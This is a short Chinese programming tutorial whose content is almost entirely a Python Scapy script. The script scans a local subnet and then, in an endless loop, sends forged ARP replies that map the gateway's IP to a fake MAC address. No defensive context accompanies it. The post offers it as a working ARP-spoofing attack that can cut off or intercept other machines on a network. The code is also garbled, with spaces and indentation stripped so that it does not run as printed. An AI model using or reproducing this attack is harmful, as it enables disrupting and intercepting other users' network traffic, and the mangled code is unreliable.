python使用arp欺骗伪造网关的方法
本文实例讲述了python使用arp欺骗伪造网关的方法。分享给大家供大家参考。具体实现方法如下:
#coding:utf-8
'''
arp欺骗局域网pc,将伪造的网关mac以网关的arp应答发送给pc
'''
fromscapy.allimportARP,send,arping
importsys,re
stdout=sys.stdout
IPADDR="192.168.1.*"
gateway_ip='192.168.1.1'
#伪造网关mac地址
gateway_hw='00:11:22:33:44:55'
p=ARP(op=2,hwsrc=gateway_hw,psrc=gateway_ip)
defarp_hack(ip,hw):
#伪造来自网关的arp应答
t=p
t.hwdst=hw
t.pdst=ip
send(t)
defget_host():
#得到在线主机的mac地址和对应ip地址
hw_ip={}
sys.stdout=open('host.info','w')
arping(IPADDR)
sys.stdout=stdout
f=open('host.info','r')
info=f.readlines()
f.close
delinfo[0]
delinfo[0]
forhostininfo:
temp=re.split(r'\s+',host)
hw_ip[temp[1]]=temp[2]
returnhw_ip
if__name__=="__main__":
hw_ip=get_host()
while1:
foriinhw_ip:
arp_hack(hw=i,ip=hw_ip[i])
希望本文所述对大家的Python程序设计有所帮助。